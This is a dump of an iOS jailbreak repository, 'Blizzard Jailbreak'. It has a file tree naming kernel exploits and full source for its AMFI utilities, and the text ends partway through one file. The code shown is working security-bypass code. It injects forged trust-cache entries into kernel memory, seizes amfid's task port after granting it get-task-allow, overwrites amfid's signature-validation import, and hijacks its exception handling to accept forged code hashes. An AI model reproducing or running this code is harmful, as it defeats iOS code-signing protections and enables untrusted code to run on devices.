Repository: GeoSn0w/Blizzard-Jailbreak Branch: master Commit: db2570f7d3d8 Files: 102 Total size: 832.6 KB Directory structure: gitextract_8ln0kc37/ ├── .gitignore ├── AMFI Utilities/ │ ├── amfi_utils.h │ ├── amfi_utils.m │ ├── amfid.h │ ├── amfid.m │ ├── amfid_mem.h │ ├── amfid_mem.m │ ├── amfid_tools.h │ ├── amfid_tools.m │ ├── cs_blob.h │ ├── osobject.c │ └── osobject.h ├── APFS Utilities/ │ ├── IOKit.h │ ├── liboffsetfinder64.hpp │ ├── offsetfinder.cpp │ ├── rootfs_remount.h │ ├── rootfs_remount.m │ ├── snapshot_tools.c │ └── snapshot_tools.h ├── Base Binaries/ │ └── tar ├── Blizzard Jailbreak/ │ ├── AppDelegate.h │ ├── AppDelegate.m │ ├── Assets.xcassets/ │ │ ├── AppIcon.appiconset/ │ │ │ └── Contents.json │ │ ├── Contents.json │ │ ├── button_mask.imageset/ │ │ │ └── Contents.json │ │ ├── jailbreak_wallpaper.imageset/ │ │ │ └── Contents.json │ │ ├── snow.imageset/ │ │ │ └── Contents.json │ │ └── winter.imageset/ │ │ └── Contents.json │ ├── Base.lproj/ │ │ ├── LaunchScreen.storyboard │ │ └── Main.storyboard │ ├── BlizzardLog.h │ ├── BlizzardLog.m │ ├── BlizzardSpawnerTools.c │ ├── BlizzardSpawnerTools.h │ ├── Info.plist │ ├── blizzardJailbreak.h │ ├── blizzardJailbreak.m │ ├── blizzardView.h │ ├── blizzardView.m │ └── main.m ├── Blizzard Jailbreak.xcodeproj/ │ ├── project.pbxproj │ ├── project.xcworkspace/ │ │ ├── contents.xcworkspacedata │ │ ├── xcshareddata/ │ │ │ └── IDEWorkspaceChecks.plist │ │ └── xcuserdata/ │ │ ├── geosn0w.xcuserdatad/ │ │ │ └── UserInterfaceState.xcuserstate │ │ ├── jakejames.xcuserdatad/ │ │ │ └── UserInterfaceState.xcuserstate │ │ └── pwn20wnd.xcuserdatad/ │ │ └── UserInterfaceState.xcuserstate │ ├── xcshareddata/ │ │ └── xcschemes/ │ │ └── sock_port.xcscheme │ └── xcuserdata/ │ ├── geosn0w.xcuserdatad/ │ │ └── xcdebugger/ │ │ └── Breakpoints_v2.xcbkptlist │ ├── jakejames.xcuserdatad/ │ │ ├── xcdebugger/ │ │ │ └── Breakpoints_v2.xcbkptlist │ │ └── xcschemes/ │ │ └── xcschememanagement.plist │ └── pwn20wnd.xcuserdatad/ │ └── xcschemes/ │ └── xcschememanagement.plist ├── Exploits/ │ ├── FreeTheSandbox/ │ │ ├── IOTypes.h │ │ ├── freethesandbox.h │ │ ├── ios13_change_offsets.m │ │ ├── ios13_kernel_universal.c │ │ ├── ios13_userspace.c │ │ ├── ios13_userspace_pac.c │ │ ├── ios_7st_utils.m │ │ ├── libsnappy.c │ │ ├── libsnappy.h │ │ ├── vnode.h │ │ └── xpc.h │ ├── IOKit/ │ │ ├── IOKitKeys.h │ │ ├── IOKitLib.h │ │ ├── IOReturn.h │ │ └── IOTypes.h │ └── sock_port/ │ ├── exploit.c │ ├── exploit.h │ ├── exploit_utilities.c │ ├── exploit_utilities.h │ ├── include/ │ │ └── IOKit/ │ │ ├── IOKitKeys.h │ │ ├── IOKitLib.h │ │ ├── IOReturn.h │ │ ├── IOTypes.h │ │ └── OSMessageNotification.h │ ├── iosurface.c │ ├── iosurface.h │ ├── kernel_memory.c │ ├── kernel_memory.h │ ├── offsetof.c │ ├── offsetof.h │ ├── offsets.h │ └── offsets.m ├── Helper Libraries/ │ ├── libimg4tool.a │ ├── libmerged.a │ ├── liboffsetfinder64.a │ ├── libplist++.a │ └── libplist.a ├── Kernel Utilities/ │ ├── kernSymbolication.c │ ├── kernSymbolication.h │ ├── kernel_utils.h │ ├── kernel_utils.m │ ├── kexecute.c │ ├── kexecute.h │ ├── lzssdec.cpp │ ├── lzssdec.hpp │ └── system_reboot.h ├── LICENSE ├── PatchFinder/ │ ├── patchfinder64.h │ └── patchfinder64.m ├── README.md └── Vanity/ └── readme.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ .DS_Store ================================================ FILE: AMFI Utilities/amfi_utils.h ================================================ #import #import #import "../AMFI Utilities/cs_blob.h" #define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface) typedef char hash_t[20]; struct trust_chain { uint64_t next; unsigned char uuid[16]; unsigned int count; } __attribute__((packed)); void *load_bytes(FILE *file, off_t offset, size_t size); int strtail(const char *str, const char *tail); void getSHA256inplace(const uint8_t* code_dir, uint8_t *out); uint8_t *getSHA256(const uint8_t* code_dir); uint8_t *getCodeDirectory(const char* name); uint64_t ubc_cs_blob_allocate(vm_size_t size); void kern_free(uint64_t addr, vm_size_t size); int cs_validate_csblob(const uint8_t *addr, size_t length, CS_CodeDirectory **rcd, CS_GenericBlob **rentitlements); uint64_t getCodeSignatureLC(FILE *file, int64_t *machOff); int addBinaryToAMFITrustCache(const char *path); int amfiTrustHash(hash_t hash); const struct cs_hash *cs_find_md(uint8_t type); ================================================ FILE: AMFI Utilities/amfi_utils.m ================================================ // Comes from Electra, adapted for FAT binary support by Jake James // // amfi_utils.c // electra // // Created by Jamie on 27/01/2018. // Copyright © 2018 Electra Team. All rights reserved. // #include "amfi_utils.h" #include "kernel_utils.h" #include "patchfinder64.h" #include #include #include #include #include #include "../Kernel Utilities/kexecute.h" #include "../Kernel Utilities/kernel_utils.h" #include "../Exploits/sock_port/kernel_memory.h" #include uint32_t swap_uint32( uint32_t val ) { val = ((val << 8) & 0xFF00FF00 ) | ((val >> 8) & 0xFF00FF ); return (val << 16) | (val >> 16); } uint32_t read_magic(FILE* file, off_t offset) { uint32_t magic; fseek(file, offset, SEEK_SET); fread(&magic, sizeof(uint32_t), 1, file); return magic; } void *load_bytes(FILE *file, off_t offset, size_t size) { void *buf = calloc(1, size); fseek(file, offset, SEEK_SET); fread(buf, size, 1, file); return buf; } void getSHA256inplace(const uint8_t* code_dir, uint8_t *out) { if (code_dir == NULL) { printf("AMFI TOOLS: NULL passed to getSHA256inplace!\n"); return; } uint32_t* code_dir_int = (uint32_t*)code_dir; uint32_t realsize = 0; for (int j = 0; j < 10; j++) { if (swap_uint32(code_dir_int[j]) == 0xfade0c02) { realsize = swap_uint32(code_dir_int[j+1]); code_dir += 4*j; } } CC_SHA256(code_dir, realsize, out); } uint8_t *getSHA256(const uint8_t* code_dir) { uint8_t *out = malloc(CC_SHA256_DIGEST_LENGTH); getSHA256inplace(code_dir, out); return out; } uint8_t *getCodeDirectory(const char* name) { FILE* fd = fopen(name, "r"); uint32_t magic; fread(&magic, sizeof(magic), 1, fd); fseek(fd, 0, SEEK_SET); long off = 0, file_off = 0; int ncmds = 0; BOOL foundarm64 = false; if (magic == MH_MAGIC_64) { struct mach_header_64 mh64; fread(&mh64, sizeof(mh64), 1, fd); off = sizeof(mh64); ncmds = mh64.ncmds; } else if (magic == MH_MAGIC) { printf("AMFI TOOLS: %s is 32bit. What are you doing here?\n", name); fclose(fd); return NULL; } else if (magic == 0xBEBAFECA) { size_t header_size = sizeof(struct fat_header); size_t arch_size = sizeof(struct fat_arch); size_t arch_off = header_size; struct fat_header *fat = (struct fat_header*)load_bytes(fd, 0, header_size); struct fat_arch *arch = (struct fat_arch *)load_bytes(fd, arch_off, arch_size); int n = swap_uint32(fat->nfat_arch); printf("AMFI TOOLS: Binary is FAT with %d architectures\n", n); while (n-- > 0) { magic = read_magic(fd, swap_uint32(arch->offset)); if (magic == 0xFEEDFACF) { printf("AMFI TOOLS: Found arm64\n"); foundarm64 = true; struct mach_header_64* mh64 = (struct mach_header_64*)load_bytes(fd, swap_uint32(arch->offset), sizeof(struct mach_header_64)); file_off = swap_uint32(arch->offset); off = swap_uint32(arch->offset) + sizeof(struct mach_header_64); ncmds = mh64->ncmds; break; } arch_off += arch_size; arch = load_bytes(fd, arch_off, arch_size); } if (!foundarm64) { printf("AMFI TOOLS: No arm64? RIP\n"); fclose(fd); return NULL; } } else { printf("AMFI TOOLS: %s is not a macho! (or has foreign endianness?) (magic: %x)\n", name, magic); fclose(fd); return NULL; } for (int i = 0; i < ncmds; i++) { struct load_command cmd; fseek(fd, off, SEEK_SET); fread(&cmd, sizeof(struct load_command), 1, fd); if (cmd.cmd == LC_CODE_SIGNATURE) { uint32_t off_cs; fread(&off_cs, sizeof(uint32_t), 1, fd); uint32_t size_cs; fread(&size_cs, sizeof(uint32_t), 1, fd); uint8_t *cd = malloc(size_cs); fseek(fd, off_cs + file_off, SEEK_SET); fread(cd, size_cs, 1, fd); fclose(fd); return cd; } else { off += cmd.cmdsize; } } fclose(fd); return NULL; } //from xerub int strtail(const char *str, const char *tail) { size_t lstr = strlen(str); size_t ltail = strlen(tail); if (ltail > lstr) { return -1; } str += lstr - ltail; return memcmp(str, tail, ltail); } int cs_validate_csblob(const uint8_t *addr, size_t length, CS_CodeDirectory **rcd, CS_GenericBlob **rentitlements) { uint64_t rcdptr = kalloc(sizeof(uint64_t)); uint64_t entptr = kalloc(sizeof(uint64_t)); int ret = (int)kexecute(Find_cs_validate_csblob(), (uint64_t)addr, length, rcdptr, entptr, 0, 0, 0); *rcd = (CS_CodeDirectory *)rk64(rcdptr); *rentitlements = (CS_GenericBlob *)rk64(entptr); kfree(rcdptr, sizeof(uint64_t)); kfree(entptr, sizeof(uint64_t)); return ret; } uint64_t ubc_cs_blob_allocate(vm_size_t size) { if (size <= 0x1ff8) { uint64_t size_p = kalloc(sizeof(vm_size_t)); if (!size_p) return 0; kwrite(size_p, &size, sizeof(vm_size_t)); uint64_t kall = Find_kalloc_canblock(); if (!kall) return 0; uint64_t site = Find_cs_blob_allocate_site(); if (!site) return 0; uint64_t alloced = kexecute(kall, size_p, 1, site, 0, 0, 0, 0); if (!alloced) return 0; kfree(size_p, sizeof(vm_size_t)); alloced = ZmFixAddr(alloced); return alloced; } else { size = (size + 0x3fff) & ~0x3fff; uint64_t addrp = kalloc(sizeof(uint64_t)); if (!addrp) return 0; uint64_t kernel_map = Find_kernel_map(); if (!kernel_map) return 0; kernel_map = rk64(kernel_map); if (!kernel_map) return 0; uint64_t alloc = Find_kernel_memory_allocate(); if (!alloc) return 0; kexecute(alloc, kernel_map, addrp, size, 0, 4, 17, 0); addrp = rk64(addrp); return addrp; } } void kern_free(uint64_t addr, vm_size_t size) { if (size > 0x1ff8) size = (size + 0x3fff) & ~0x3fff; kexecute(Find_kfree(), addr, size, 0, 0, 0, 0, 0); } const struct cs_hash *cs_find_md(uint8_t type) { return (struct cs_hash *)rk64(Find_cs_find_md() + ((type - 1) * 8)); } uint64_t getCodeSignatureLC(FILE *file, int64_t *machOff) { size_t offset = 0; struct load_command *cmd = NULL; *machOff = -1; uint32_t *magic = load_bytes(file, offset, sizeof(uint32_t)); int ncmds = 0; if (*magic != 0xFEEDFACF && *magic != 0xBEBAFECA) { printf("AMFI TOOLS: File is not an arm64 or FAT macho!\n"); free(magic); return 0; } if(*magic == 0xBEBAFECA) { uint32_t arch_off = sizeof(struct fat_header); struct fat_header *fat = (struct fat_header*)load_bytes(file, 0, sizeof(struct fat_header)); bool foundarm64 = false; int n = ntohl(fat->nfat_arch); printf("AMFI TOOLS: Binary is FAT with %d architectures\n", n); while (n-- > 0) { struct fat_arch *arch = (struct fat_arch *)load_bytes(file, arch_off, sizeof(struct fat_arch)); if (ntohl(arch->cputype) == 0x100000c) { printf("AMFI TOOLS: Found arm64\n"); offset = ntohl(arch->offset); foundarm64 = true; free(fat); free(arch); break; } free(arch); arch_off += sizeof(struct fat_arch); } if (!foundarm64) { printf("AMFI TOOLS: Binary does not have any arm64 slice\n"); free(fat); free(magic); return 0; } } free(magic); *machOff = offset; struct mach_header_64 *mh64 = load_bytes(file, offset, sizeof(struct mach_header_64)); ncmds = mh64->ncmds; free(mh64); offset += sizeof(struct mach_header_64); for (int i = 0; i < ncmds; i++) { cmd = load_bytes(file, offset, sizeof(struct load_command)); if (cmd->cmd == LC_CODE_SIGNATURE) { free(cmd); return offset; } offset += cmd->cmdsize; free(cmd); } return 0; } int addBinaryToAMFITrustCache(const char *path) { NSMutableArray *paths = [NSMutableArray array]; NSFileManager *fileManager = [NSFileManager defaultManager]; BOOL isDir = NO; if (![fileManager fileExistsAtPath:@(path) isDirectory:&isDir]) { printf("AMFI TRUST: Path does not exist!\n"); return -1; } NSURL *directoryURL = [NSURL URLWithString:@(path)]; NSArray *keys = [NSArray arrayWithObject:NSURLIsDirectoryKey]; if (isDir) { NSDirectoryEnumerator *enumerator = [fileManager enumeratorAtURL:directoryURL includingPropertiesForKeys:keys options:0 errorHandler:^(NSURL *url, NSError *error) { if (error) printf("AMFI TRUST: %s\n", [[error localizedDescription] UTF8String]); return YES; }]; for (NSURL *url in enumerator) { NSError *error; NSNumber *isDirectory = nil; if (![url getResourceValue:&isDirectory forKey:NSURLIsDirectoryKey error:&error]) { if (error) continue; } else if (![isDirectory boolValue]) { int rv; int fd; uint8_t *p; off_t sz; struct stat st; uint8_t buf[16]; char *fpath = strdup([[url path] UTF8String]); if (strtail(fpath, ".plist") == 0 || strtail(fpath, ".nib") == 0 || strtail(fpath, ".strings") == 0 || strtail(fpath, ".png") == 0) { continue; } rv = lstat(fpath, &st); if (rv || !S_ISREG(st.st_mode) || st.st_size < 0x4000) { continue; } fd = open(fpath, O_RDONLY); if (fd < 0) { continue; } sz = read(fd, buf, sizeof(buf)); if (sz != sizeof(buf)) { close(fd); continue; } if (*(uint32_t *)buf != 0xBEBAFECA && !MACHO(buf)) { close(fd); continue; } p = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); if (p == MAP_FAILED) { close(fd); continue; } [paths addObject:@(fpath)]; printf("AMFI TRUST: ADDING TO TRUST CACHE %s\n", fpath); free(fpath); } } if ([paths count] == 0) { printf("AMFI TRUST: No files in %s passed the integrity checks!\n", path); return -2; } } else { printf("AMFI TRUST: ADDING TO TRUST CACHE %s\n", path); [paths addObject:@(path)]; int rv; int fd; uint8_t *p; off_t sz; struct stat st; uint8_t buf[16]; if (strtail(path, ".plist") == 0 || strtail(path, ".nib") == 0 || strtail(path, ".strings") == 0 || strtail(path, ".png") == 0) { printf("AMFI TRUST Binary not an executable! Kernel doesn't like trusting data, geez\n"); return 2; } rv = lstat(path, &st); if (rv || !S_ISREG(st.st_mode) || st.st_size < 0x4000) { printf("AMFI TRUST Binary too big\n"); return 3; } fd = open(path, O_RDONLY); if (fd < 0) { printf("AMFI TRUST Don't have permission to open file\n"); return 4; } sz = read(fd, buf, sizeof(buf)); if (sz != sizeof(buf)) { close(fd); printf("AMFI TRUST Failed to read from binary\n"); return 5; } if (*(uint32_t *)buf != 0xBEBAFECA && !MACHO(buf)) { close(fd); printf("AMFI TRUST Binary not a macho!\n"); return 6; } p = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); if (p == MAP_FAILED) { close(fd); printf("AMFI TRUST Failed to mmap file\n"); return 7; } } uint64_t trust_chain = Find_trustcache(); printf("AMFI TRUST trust_chain at 0x%llx\n", trust_chain); struct trust_chain fake_chain; fake_chain.next = rk64(trust_chain); arc4random_buf(fake_chain.uuid, 16); int cnt = 0; uint8_t hash[CC_SHA256_DIGEST_LENGTH]; hash_t *allhash = malloc(sizeof(hash_t) * [paths count]); for (int i = 0; i != [paths count]; ++i) { uint8_t *cd = getCodeDirectory((char*)[[paths objectAtIndex:i] UTF8String]); if (cd != NULL) { getSHA256inplace(cd, hash); memmove(allhash[cnt], hash, sizeof(hash_t)); ++cnt; } else { printf("AMFI TRUST CD NULL\n"); continue; } } fake_chain.count = cnt; size_t length = (sizeof(fake_chain) + cnt * sizeof(hash_t) + 0x3FFF) & ~0x3FFF; uint64_t kernel_trust = kalloc(length); printf("AMFI TRUST allocated: 0x%zx => 0x%llx\n", length, kernel_trust); kwrite(kernel_trust, &fake_chain, sizeof(fake_chain)); kwrite(kernel_trust + sizeof(fake_chain), allhash, cnt * sizeof(hash_t)); #if __arm64e__ Kernel_Execute(Find_pmap_load_trust_cache_ppl(), kernel_trust, length, 0, 0, 0, 0, 0); #else wk64(trust_chain, kernel_trust); #endif free(allhash); return 0; } int amfiTrustHash(hash_t hash) { uint64_t trust_chain = Find_trustcache(); printf("AMFI TRUST trust_chain at 0x%llx\n", trust_chain); struct trust_chain fake_chain; fake_chain.next = rk64(trust_chain); arc4random_buf(fake_chain.uuid, 16); fake_chain.count = 1; size_t length = (sizeof(fake_chain) + sizeof(hash_t) + 0x3FFF) & ~0x3FFF; uint64_t kernel_trust = kalloc(length); printf("AMFI TRUST allocated: 0x%zx => 0x%llx\n", length, kernel_trust); kwrite(kernel_trust, &fake_chain, sizeof(fake_chain)); kwrite(kernel_trust + sizeof(fake_chain), hash, sizeof(hash_t)); #if __arm64e__ kexecute(Find_pmap_load_trust_cache_ppl(), kernel_trust, length, 0, 0, 0, 0, 0); #else wk64(trust_chain, kernel_trust); #endif return 0; } ================================================ FILE: AMFI Utilities/amfid.h ================================================ #import #import #import #import #import #import #import #import #import #import #import #import #import #import #import #import #import #import #import void* AMFIDExceptionHandler(void* arg); int setAmfidExceptionHandler(mach_port_t amfid_task_port, void *(exceptionHandler)(void*)); uint64_t patchAMFID(void); #pragma pack(4) typedef struct { mach_msg_header_t Head; mach_msg_body_t msgh_body; mach_msg_port_descriptor_t thread; mach_msg_port_descriptor_t task; NDR_record_t NDR; } exception_raise_request; // the bits we need at least typedef struct { mach_msg_header_t Head; NDR_record_t NDR; kern_return_t RetCode; } exception_raise_reply; #pragma pack() #define amfid_MISValidateSignatureAndCopyInfo_import_offset 0x4150 ================================================ FILE: AMFI Utilities/amfid.m ================================================ // From JelbrekLib, by Jake James! #import "../AMFI Utilities/amfid.h" #import "../AMFI Utilities/amfid_mem.h" #import "../AMFI Utilities/amfi_utils.h" #import "../AMFI Utilities/amfid_tools.h" #import "../Kernel Utilities/kernel_utils.h" #import "../AMFI Utilities/cs_blob.h" #import "../Exploits/sock_port/offsetof.h" #import #include "../PatchFinder/patchfinder64.h" #include "../AMFI Utilities/osobject.h" #include "../Blizzard Jailbreak/blizzardJailbreak.h" pthread_t exceptionThread; static mach_port_name_t AMFID_ExceptionPort = MACH_PORT_NULL; uint64_t origAMFID_MISVSACI = 0; uint64_t amfid_base_old; BOOL entitlePidOnAMFI(pid_t pid, const char *ent, BOOL val) { if (!pid) return NO; uint64_t proc = proc_of_pid(pid); uint64_t ucred = rk64(proc + off_p_ucred); uint64_t cr_label = rk64(ucred + off_ucred_cr_label); uint64_t entitlements = rk64(cr_label + off_amfi_slot); if (OSDictionary_GetItem(entitlements, ent) == 0) { printf("AMFI TOOLS: Setting Entitlements...\n"); uint64_t entval = OSDictionary_GetItem(entitlements, ent); printf("AMFI TOOLS: before: %s is 0x%llx\n", ent, entval); OSDictionary_SetItem(entitlements, ent, (val) ? Find_OSBoolean_True() : Find_OSBoolean_False()); entval = OSDictionary_GetItem(entitlements, ent); printf("AMFI TOOLS: after: %s is 0x%llx\n", ent, entval); return (entval) ? YES : NO; } return YES; } uint64_t binary_load_address(mach_port_t tp) { kern_return_t err; mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64; memory_object_name_t object_name = MACH_PORT_NULL; /* unused */ mach_vm_size_t target_first_size = 0x1000; mach_vm_address_t target_first_addr = 0x0; struct vm_region_basic_info_64 region = {0}; printf("AMFI TOOLS: About to call mach_vm_region\n"); err = mach_vm_region(tp, &target_first_addr, &target_first_size, VM_REGION_BASIC_INFO_64, (vm_region_info_t)®ion, ®ion_count, &object_name); if (err != KERN_SUCCESS) { printf("AMFI TOOLS: Failed to get the region: %s\n", mach_error_string(err)); return -1; } printf("AMFI TOOLS: Got base address\n"); return target_first_addr; } #if !__arm64e__ void* AMFIDExceptionHandler(void* arg) { uint32_t size = 0x1000; mach_msg_header_t* msg = malloc(size); for(;;) { kern_return_t ret; printf("AMFI TOOLS: AMFID: Calling mach_msg to receive exception message from amfid\n"); ret = mach_msg(msg, MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, 0, size, AMFID_ExceptionPort, 0, 0); if (ret != KERN_SUCCESS){ printf("AMFI TOOLS: AMFID: Error receiving exception port: %s\n", mach_error_string(ret)); continue; } else { printf("AMFI TOOLS: AMFID: Got called!\n"); exception_raise_request* req = (exception_raise_request*)msg; mach_port_t thread_port = req->thread.name; mach_port_t task_port = req->task.name; _STRUCT_ARM_THREAD_STATE64 old_state = {0}; mach_msg_type_number_t old_stateCnt = sizeof(old_state)/4; ret = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&old_state, &old_stateCnt); if (ret != KERN_SUCCESS){ printf("AMFI TOOLS: Error getting thread state: %s\n", mach_error_string(ret)); continue; } printf("AMFI TOOLS: Got thread state!\n"); _STRUCT_ARM_THREAD_STATE64 new_state; memcpy(&new_state, &old_state, sizeof(_STRUCT_ARM_THREAD_STATE64)); char* filename = (char*)AmfidRead(new_state.__x[25], 1024); uint8_t *orig_cdhash = (uint8_t*)AmfidRead(new_state.__x[24], CS_CDHASH_LEN); printf("AMFI TOOLS: Got request for: %s\n", filename); printf("AMFI TOOLS: Original cdhash: \n\t"); for (int i = 0; i < CS_CDHASH_LEN; i++) { printf("AMFI TOOLS: Original CDHash%02x ", orig_cdhash[i]); } printf("\n"); if (strlen((char*)orig_cdhash)) { amfid_base_old = binary_load_address(task_port); printf("AMFI TOOLS: Jumping thread to 0x%llx\n", origAMFID_MISVSACI); new_state.__pc = origAMFID_MISVSACI; } else { uint8_t* code_directory = getCodeDirectory(filename); if (!code_directory) { printf("AMFI TOOLS: Can't get code directory\n"); goto end; } uint8_t cd_hash[CS_CDHASH_LEN]; if (parse_superblob(code_directory, cd_hash)) { printf("AMFI TOOLS: parse_superblob failed\n"); goto end; } printf("AMFI TOOLS: New cdhash: \n\t"); for (int i = 0; i < CS_CDHASH_LEN; i++) { printf("AMFI TOOLS: CDHash%02x ", cd_hash[i]); } printf("\n"); new_state.__pc = origAMFID_MISVSACI; ret = mach_vm_write(task_port, old_state.__x[24], (vm_offset_t)&cd_hash, 20); if (ret == KERN_SUCCESS) { printf("AMFI TOOLS: Wrote the cdhash into amfid\n"); } else { printf("AMFI TOOLS: Unable to write the cdhash into amfid!\n"); } AmfidWrite_32bits(old_state.__x[20], 1); new_state.__pc = (old_state.__lr & 0xfffffffffffff000) + 0x1000; // 0x2dacwhere to continue printf("AMFI TOOLS: Old PC: 0x%llx, new PC: 0x%llx\n", old_state.__pc, new_state.__pc); } ret = thread_set_state(thread_port, 6, (thread_state_t)&new_state, sizeof(new_state)/4); if (ret != KERN_SUCCESS) { printf("AMFI TOOLS: Failed to set new thread state %s\n", mach_error_string(ret)); } else { printf("AMFI TOOLS: Success setting new state for amfid!\n"); } exception_raise_reply reply = {0}; reply.Head.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(req->Head.msgh_bits), 0); reply.Head.msgh_size = sizeof(reply); reply.Head.msgh_remote_port = req->Head.msgh_remote_port; reply.Head.msgh_local_port = MACH_PORT_NULL; reply.Head.msgh_id = req->Head.msgh_id + 0x64; reply.NDR = req->NDR; reply.RetCode = KERN_SUCCESS; ret = mach_msg(&reply.Head, 1, (mach_msg_size_t)sizeof(reply), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); mach_port_deallocate(mach_task_self(), thread_port); mach_port_deallocate(mach_task_self(), task_port); if (ret != KERN_SUCCESS){ printf("AMFI TOOLS: Failed to send the reply to the exception message %s\n", mach_error_string(ret)); } else{ printf("AMFI TOOLS: Replied to the amfid exception...\n"); } end:; free(filename); free(orig_cdhash); } } return NULL; } int setAmfidExceptionHandler(mach_port_t amfid_task_port, void *(exceptionHandler)(void*)){ if (!MACH_PORT_VALID(amfid_task_port)) { printf("AMFI TOOLS: Invalid amfid task port\n"); return 1; } mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &AMFID_ExceptionPort); mach_port_insert_right(mach_task_self(), AMFID_ExceptionPort, AMFID_ExceptionPort, MACH_MSG_TYPE_MAKE_SEND); if (!MACH_PORT_VALID(AMFID_ExceptionPort)) { printf("AMFI TOOLS: Invalid amfid exception port\n"); return 1; } printf("AMFI TOOLS: amfid_task_port = 0x%x\n", amfid_task_port); printf("AMFI TOOLS: AMFID_ExceptionPort = 0x%x\n", AMFID_ExceptionPort); kern_return_t ret = task_set_exception_ports(amfid_task_port, EXC_MASK_ALL, AMFID_ExceptionPort, EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES, ARM_THREAD_STATE64); if (ret != KERN_SUCCESS){ printf("AMFI TOOLS: Error setting amfid exception port: %s\n", mach_error_string(ret)); } else { printf("AMFI TOOLS: Success setting amfid exception port!\n"); pthread_create(&exceptionThread, NULL, exceptionHandler, NULL); return 0; } return 1; } uint64_t patchAMFID() { printf("AMFI TOOLS: Patching AMFID...\n"); pid_t amfid_pid = pid_of_procName("amfid"); printf("AMFI TOOLS: amfid's PID: %d\n", amfid_pid); entitlePidOnAMFI(amfid_pid, "get-task-allow", YES); setcsflags(amfid_pid); printf("AMFI TOOLS: Getting task port\n"); mach_port_t amfid_task_port; kern_return_t kr = task_for_pid(mach_task_self(), amfid_pid, &amfid_task_port); if (kr) { printf("AMFI TOOLS: Failed to get amfid's task :(\n\tError: %s\n", mach_error_string(kr)); return -1; } if (!MACH_PORT_VALID(amfid_task_port)) { printf("AMFI TOOLS: Failed to get amfid's task port!\n"); return -1; } printf("AMFI TOOLS: Got amfid's task port? :) 0x%x\n", amfid_task_port); init_amfid_mem(amfid_task_port); setAmfidExceptionHandler(amfid_task_port, AMFIDExceptionHandler); printf("AMFI TOOLS: About to search for the binary load address\n"); amfid_base_old = binary_load_address(amfid_task_port); printf("AMFI TOOLS: Amfid load address: 0x%llx\n", amfid_base_old); mach_vm_size_t sz; kr = mach_vm_read_overwrite(amfid_task_port, amfid_base_old+amfid_MISValidateSignatureAndCopyInfo_import_offset, 8, (mach_vm_address_t)&origAMFID_MISVSACI, &sz); if (kr != KERN_SUCCESS) { printf("AMFI TOOLS: Error reading MISVSACI: %s\n", mach_error_string(kr)); return -1; } printf("AMFI TOOLS: Original MISVSACI 0x%llx\n", origAMFID_MISVSACI); AmfidWrite_64bits(amfid_base_old + amfid_MISValidateSignatureAndCopyInfo_import_offset, 0x4141414141414141); printf("[i] AMFI TOOLS: AMFID hopefully patched\n"); return origAMFID_MISVSACI; } #endif ================================================ FILE: AMFI Utilities/amfid_mem.h ================================================ #import #import #import #import #import #import #import #import void init_amfid_mem(mach_port_t amfid_tp); void* AmfidRead(uint64_t addr, uint64_t len); void AmfidWrite_8bits(uint64_t addr, uint8_t val); void AmfidWrite_64bits(uint64_t addr, uint64_t val); void AmfidWrite_32bits(uint64_t addr, uint32_t val); void* AmfidRead(uint64_t addr, uint64_t len); ================================================ FILE: AMFI Utilities/amfid_mem.m ================================================ #import "amfid_mem.h" #import "kernel_utils.h" #import static mach_port_t amfid_task_port; void init_amfid_mem(mach_port_t amfid_tp) { amfid_task_port = amfid_tp; } void* AmfidRead(uint64_t addr, uint64_t len) { kern_return_t ret; vm_offset_t buf = 0; mach_msg_type_number_t num = 0; ret = mach_vm_read(amfid_task_port, addr, len, &buf, &num); if (ret != KERN_SUCCESS) { printf("AMFI TOOLS: amfid read failed (0x%llx)\n", addr); return NULL; } uint8_t* outbuf = malloc(len); memcpy(outbuf, (void*)buf, len); mach_vm_deallocate(mach_task_self(), buf, num); return outbuf; } void AmfidWrite_8bits(uint64_t addr, uint8_t val) { kern_return_t err = mach_vm_write(amfid_task_port, addr, (vm_offset_t)&val, 1); if (err != KERN_SUCCESS) { printf("AMFI TOOLS: amfid write failed (0x%llx)\n", addr); } } void AmfidWrite_32bits(uint64_t addr, uint32_t val) { kern_return_t err = mach_vm_write(amfid_task_port, addr, (vm_offset_t)&val, 4); if (err != KERN_SUCCESS) { printf("AMFI TOOLS: amfid write failed (0x%llx)\n", addr); } } void AmfidWrite_64bits(uint64_t addr, uint64_t val) { kern_return_t err = mach_vm_write(amfid_task_port, addr, (vm_offset_t)&val, 8); if (err != KERN_SUCCESS) { printf("AMFI TOOLS: amfid write failed (0x%llx)\n", addr); } } ================================================ FILE: AMFI Utilities/amfid_tools.h ================================================ #import #import #import #import #import #import #import #import #import #import #import #import "../AMFI Utilities/cs_blob.h" static unsigned int hash_rank(const CodeDirectory *cd); int get_hash(const CodeDirectory* directory, uint8_t dst[CS_CDHASH_LEN]); int parse_superblob(uint8_t *code_dir, uint8_t dst[CS_CDHASH_LEN]); ================================================ FILE: AMFI Utilities/amfid_tools.m ================================================ #import "amfid_tools.h" #import "amfi_utils.h" #import "amfid.h" static unsigned int hash_rank(const CodeDirectory *cd){ uint32_t type = cd->hashType; unsigned int n; for (n = 0; n < sizeof(hashPriorities) / sizeof(hashPriorities[0]); ++n) if (hashPriorities[n] == type){ return n + 1; } return 0; } int get_hash(const CodeDirectory* directory, uint8_t dst[CS_CDHASH_LEN]) { uint32_t realsize = ntohl(directory->length); if (ntohl(directory->magic) != CSMAGIC_CODEDIRECTORY) { printf("AMFI TOOLS: [get_hash] wtf, not CSMAGIC_CODEDIRECTORY?!\n"); return 1; } uint8_t out[CS_HASH_MAX_SIZE]; uint8_t hash_type = directory->hashType; switch (hash_type) { case CS_HASHTYPE_SHA1: CC_SHA1(directory, realsize, out); break; case CS_HASHTYPE_SHA256: case CS_HASHTYPE_SHA256_TRUNCATED: CC_SHA256(directory, realsize, out); break; case CS_HASHTYPE_SHA384: CC_SHA384(directory, realsize, out); break; default: printf("AMFI TOOLS:[get_hash] Unknown hash type: 0x%x\n", hash_type); return 2; } memcpy(dst, 